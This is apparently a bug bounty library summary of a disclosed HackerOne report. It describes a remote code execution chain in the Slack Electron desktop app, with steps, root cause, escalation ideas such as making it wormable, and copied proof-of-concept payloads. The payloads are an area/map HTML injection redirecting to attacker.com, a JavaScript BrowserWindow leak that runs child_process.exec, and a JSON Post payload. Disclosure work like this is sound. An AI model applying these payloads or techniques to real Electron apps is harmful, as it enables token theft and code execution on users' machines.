# Remote Code Execution in Slack desktop apps + bonus

HTML injection in Slack Posts via area/map tags redirects the Electron desktop app to attacker JS that leaks BrowserWindow and achieves RCE.

- Payout: hidden
- Severity: critical
- Program: Slack
- Found by: oskarsv
- Disclosed: 2020-08-28
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/783877
- Library page: https://bugbountylibrary.com/r/h1%3A783877
- Tags: area:os domain:desktop impact:ato impact:data-leak impact:rce kind:bounty platform:hackerone sev:critical tech:electron technique:chained vuln:rce vuln:xss

**Target:** Slack desktop app (Electron) and files.slack.com
**Root cause:** Slack Post JSON structure can be edited to inject area/map HTML tags (not blocked by CSP/tag filters), enabling in-app redirect to attacker page; the Electron app exposes window.desktop and BrowserWindow without nodeIntegration isolation, allowing construction of a node-enabled window.
**Steps:**
1. Create a Slack Post; note its JSON structure at files.slack.com private URL via /api/files.info url_private.
2. Edit JSON at `https://{team}.slack.com/files/{member-id}/{file-id}/title/edit` injecting `<img usemap>` + `<map><area href=attacker target=_self>` payload.
3. Alternatively upload JSON and change filetype to `docs` via /api/files.edit interception.
4. Host RCE HTML on attacker server (or files.slack.com via plaintext email upload).
5. Victim clicks the large post image; area redirects app to attacker page in _self.
6. Payload overwrites window.desktop.delegate/window, calls `window.open('about:blank')` to leak BrowserWindow, constructs `new bw.constructor({webPreferences:{nodeIntegration:true}})`, then `webContents.executeJavaScript('require("child_process").exec(...)')`.
**How found:** Researcher observed Slack Post JSON is directly editable and that CSP blocks script/iframe but not area/map tags; used usemap+area to force a _self in-app redirect, then abused exposed window.desktop and BrowserWindow to escape into Node.
**Exploitation:** Attacker shares a crafted Post; one click redirects the Electron app to attacker JS which leaks the BrowserWindow class, spawns a nodeIntegration-enabled window, and executes arbitrary OS commands or reads localStorage/tokens for full app control.
**Escalation:** Payload can be made wormable by re-posting to all user workspaces after click; also enables access to private conversations, files, tokens without command execution.
**Insight:** When CSP blocks script/iframe, look for lesser-known HTML tags (area/map with usemap) that still permit navigation; in Electron targets, check whether window.open leaks a BrowserWindow constructor usable to spawn a nodeIntegration window.

## Proof of concept (copied exactly from the original report)

**HTML injection payload with area/map tags**

```
<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" width="10000" height="10000" usemap="#slack-img">
<map name="slack-img">
<area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" target="_self">
</map>
```

**RCE JavaScript payload via BrowserWindow**

```
window.desktop.delegate = {}
  window.desktop.delegate.canOpenURLInWindow = () => true
  window.desktop.window = {}
  window.desktop.window.open = () => 1
  bw = window.open('about:blank') // leak BrowserWindow class
  nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration
  nbw.loadURL('about:blank') // need to load some URL for interaction
  nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")')
```

**JSON payload for Slack Post edit**

```
{
  "full": "asd",
  "preview": "<img src=\"https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png\" width=\"10000\" height=\"10000\" usemap=\"#slack-img\"><map name=\"slack-img\"><area shape=\"rect\" coords=\"10000,10000 0,0\" href=\"https://attacker.com/t.html\" target=\"_self\"></map>"
}
```

